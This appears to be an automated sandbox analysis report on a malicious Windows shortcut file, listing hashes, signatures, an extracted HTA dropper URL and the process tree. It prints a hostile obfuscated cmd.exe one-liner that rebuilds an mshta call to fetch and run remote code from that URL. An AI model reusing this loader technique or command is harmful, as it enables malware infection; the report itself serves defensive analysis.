Analysis

  • max time kernel
    40s
  • max time network
    41s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 16:55

General

  • Target
    DOC-F3V9I9.lnk
  • Size 2KB
  • Sample260803-ve34datdlb
  • SHA256 c9f2882c847368b914a7972f9ae3c7b07ec3cb1becb2320489c118c1b2554605
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-F3V9I9.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/v:on/c"set geDsP=oldrleildibivdixstshold&set hHV=winraqkcdupfvlxrkzsdwin&set Ury=cacheqrnynvpvwzcache&set cp=dcgsta34x&&set op=zrwcj&&set EBZ=pkttp2&set GDCE=inffzbqebhrfkdtxxpnbtdainf&set RXRNx=rwmdl&&set VaLj=uqshdm&&set BZZT=fvctac&set vvK=winzpmrlbhquguxbpwin&&set MhA=http@s@://ma@-pdf@fil@[email protected]@at/h/estag@io1.@php?r@=391469FB5@D82DB&&start /b !RXRNx:~2,1!!VaLj:~2,2!!BZZT:~3,2! !MhA:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2104

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads